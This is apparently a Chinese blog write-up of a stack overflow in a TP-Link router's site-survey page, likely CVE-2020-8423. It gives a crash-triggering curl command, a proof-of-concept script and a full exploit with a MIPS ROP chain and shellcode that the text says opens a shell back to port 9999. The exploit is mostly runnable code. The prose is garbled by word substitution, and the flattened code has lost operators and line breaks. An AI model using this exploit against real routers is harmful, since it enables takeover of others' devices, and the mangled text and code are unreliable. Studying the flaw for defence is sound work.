curl -H 'Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D' 'http://10.211.55.8/YEHFDFSAMIIOATRA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( "/%0A"0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac")')''

很明显缓冲区溢出发生在函数writePageParamSet,并且在其返回的时候挟制了函数实行流。
末了lw了四个寄存器ra,s2,s1,s1,s0,通过这个可以赞助判断我们发生溢出的大概位置。
实行之后sp会加0x288,当然这条指令是在跳转之前实行的,由于指令流水线。

其余一边,我们看到页面打印出大量的</br>,也验证了我们之前的代码审计,writePageParamSet是将输入的数据写入Javascript的Param工具中。
同时也通过1位字节换4位字节的办法写入超出界线的数据,如果要修补这个漏洞也很大略,只须要将缓冲区扩大四倍就行了,或者修正stringModify,让产生</br>的时候指针size+4而不是size+1。

经由打算payload每一位应为0x55”/%0A”+2+s0+s1+s2+ra

在溢出区域出放置地址我们就能够成功掌握程序流。
让我们用python实现一下poc.py

import requestsimport socketimport socksimport urllibdefault_socket = socket.socketsocket.socket = socks.socksocketsession = requests.Session()session.verify = Falsedef exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))} payload="/%0A"0x55 + "abcdefghijklmn"+"\x78\x56\x34\x12" params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.request.unquote(payload) #if python3 #urllib.unquote(payload) #if python2 (suggest) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text)exp("AYEUYUFAXVOKELRC","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")漏洞利用

接下来让我们为这个漏洞编写一下利用脚本,措辞我们利用python2.7。

利用时要把稳Mips架构下默认ASLR是不开启的,并且heap和sgack是可实行的,以是直接跳转到shellcode即可。
不过由于缓存不一致性,我们须要利用ROP。

把稳Mips是大真个,数据存放办法与小端是相反的。
并且在gdb调试后后记得endian为big,否则断点是断不下来的。

布局ROP链

Mips指令集包含一种的cache incoherency(缓存不一致性),指令Cache和数据Cache两者的同步须要一个韶光来同步。
须要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会实行失落败,不能像x86架构下直接跳转到shellcode,而是须要布局如下一条ROP链接,先调用sleep,然后在跳转到shellcode。

sleep(1) -> read_value_from_stack -> jump to stack(shellcode)

Mips的栈并没有pop和push,而是直接调用栈,ROP链布局和x86有一些差异,不过总体上逻辑该当是更加大略了,不过gadgets比较难找(由于全是寄存器操作)。

把稳的是,pwntools须要专门设置为大端,否则默认小端。

context.endian = 'big'

探求gadgets

经由上文的剖析,我们知道我们能够支配栈,来掌握s0~s2和ra寄存器。
初始我们将ra覆盖为gadget1,用于修正寄存器$a0,将sleep函数的地址放在s2备用,将gadgets放在s1用于下一次跳转。
其余,利用gadgets须要考虑流水线效应。

Gadget1,修正寄存器$a0(作为调用sleep的参数)

LOAD:0000E204 move $t9, $s1LOAD:0000E208 jalr $t9 ; sysconfLOAD:0000E20C li $a0, 3

Gadget2,完成两个功能,1.调用sleep函数,2.跳转到下一个gadgets。
首先调用sleep函数(之前存放在s2中),并且结束之后sp会增加0x28字节。
在结束之前也会修正ra等寄存器的值,不过这里须要把稳的是0x28+var_10($sp)的意思是sp+0x28-0x10地址。
(Mips是通过偏移来得到栈内参数的),这里也要先设置好ra的值。
调用sleep之后,程序会跳转到ra指向的地址。

LOAD:00037470 move $t9, $s2LOAD:00037474 lw $ra, 0x28+var_4($sp)LOAD:00037478 lw $s2, 0x28+var_8($sp)LOAD:0003747C lw $s1, 0x28+var_C($sp)LOAD:00037480 lw $s0, 0x28+var_10($sp)LOAD:00037484LOAD:00037484 loc_37484: # DATA XREF: xdr_callhdr↓oLOAD:00037484 jr $t9 ; xdr_opaque_authLOAD:00037488 addiu $sp, 0x28#实在这段代码用gdb的反汇编看起来反而更加易懂一些=> 0x77f70470: move t9,s2 0x77f70474: lw ra,36(sp) 0x77f70478: lw s2,32(sp) 0x77f7047c: lw s1,28(sp) 0x77f70480: lw s0,24(sp) 0x77f70484: jr t9 0x77f70488: addiu sp,sp,40

Gadget3,用于将栈底地址写入a1,即我们支配的shellcode的地址。

LOAD:0000E904 addiu $a1, $sp, 0x168+var_150LOAD:0000E908 move $t9, $s1LOAD:0000E90C jalr $t9 ; stat64LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)

Gadget4,跳转到shellcode

LOAD:000374D8 move $t9, $a1LOAD:000374DC sw $v0, 0x4C($a0)LOAD:000374E0 move $a1, $a2LOAD:000374E4 jr $t9LOAD:000374E8 addiu $a0, 0x4C # 'L'

shellcode(连接本地9999端口)

由于我们的数据\c3会被转义,一种办法是指令更换,另一种办法是指令逃逸。
这里直接参考了师傅们的shellcode参考地址。

Exploit

支配好gadgets和shellcode,末了shellcode的内容是反弹到本地的9999端口,挂好httpd做事,获取目录地址和cookie作为exp的参数运行,利用成功只需在本地用nc连接一下即可。

EXP.py

#!/usr/bin/pythonfrom pwn import import requestsimport socketimport socksimport urllibimport structdefault_socket = socket.socketsocket.socket = socks.socksocketsession = requests.Session()session.verify = Falsecontext.endian = 'big' libc_base=0x77f39000 sleep =0x53CA0 #end 00053ECC#gadgetsg1=0x000E204 #0x77F47204#LOAD:0000E204 move $t9, $s1#LOAD:0000E208 jalr $t9 ; sysconf#LOAD:0000E20C li $a0, 3g2=0x00037470#LOAD:00037470 move $t9, $s2#LOAD:00037474 lw $ra, 0x28+var_4($sp)#LOAD:00037478 lw $s2, 0x28+var_8($sp)#LOAD:0003747C lw $s1, 0x28+var_C($sp)#LOAD:00037480 lw $s0, 0x28+var_10($sp)#LOAD:00037484#LOAD:00037484 loc_37484:#LOAD:00037484 jr $t9 ; xdr_opaque_auth#LOAD:00037488 addiu $sp, 0x28g3=0x0000E904 #0x77f47904#LOAD:0000E904 addiu $a1, $sp, 0x168+var_150#LOAD:0000E908 move $t9, $s1#LOAD:0000E90C jalr $t9 ; stat64#LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)g4=0x00374D8#LOAD:000374D8 move $t9, $a1#LOAD:000374DC sw $v0, 0x4C($a0)#LOAD:000374E0 move $a1, $a2#LOAD:000374E4 jr $t9#LOAD:000374E8 addiu $a0, 0x4C # 'L'shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"s0=p32(0x11111111)s1=p32(g2+libc_base) # break s2=p32(sleep+libc_base)payload= "/%0A"0x55 +2'x'+s0 +s1 +s2payload+=p32(g1+libc_base) payload+='x'28payload+=p32(g4+libc_base) #s1payload+=p32(0x33333333) #s2payload+=p32(g3+libc_base) #rapayload+='x'24payload+=shellcodedef exp(path,cookie): headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))} params = { "mode":"1000", "curRegion":"1000", "chanWidth":"100", "channel":"1000", "ssid":urllib.unquote(payload) } url="http://10.211.55.8:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path)) resp = session.get(url,params=params,headers=headers,timeout=10) print (resp.text)exp("FMHSNOEAAJAKZBNA","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

参考

Linux系统调用Hook姿势总结

https://www.anquanke.com/post/id/203486

https://www.youtube.com/watch?v=0_GsX2xhngU

https://ktln2.org/2020/03/29/exploiting-mips-router/

https://zhuanlan.zhihu.com/p/314170234

https://bbs.pediy.com/thread-212369.htm

https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm

https://www.anquanke.com/post/id/202219

http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA/

标签:

相关文章

QQ聊天恶搞代码技术背后的趣味与风险

人们的生活越来越离不开社交软件。在我国,QQ作为一款历史悠久、用户众多的社交平台,深受广大网民喜爱。在QQ聊天的过程中,恶搞代码的...

SEO优化 2025-03-02 阅读1 评论0

Python代码截屏技术与应用的完美融合

计算机屏幕截图已经成为人们日常生活中不可或缺的一部分。无论是分享工作成果、记录游戏瞬间,还是保存网页信息,屏幕截图都发挥着重要作用...

SEO优化 2025-03-02 阅读1 评论0

QQ无限刷礼物代码技术突破还是道德沦丧

社交平台逐渐成为人们生活中不可或缺的一部分。QQ作为我国最具影响力的社交软件之一,其丰富的功能吸引了大量用户。近期有关QQ无限刷礼...

SEO优化 2025-03-02 阅读1 评论0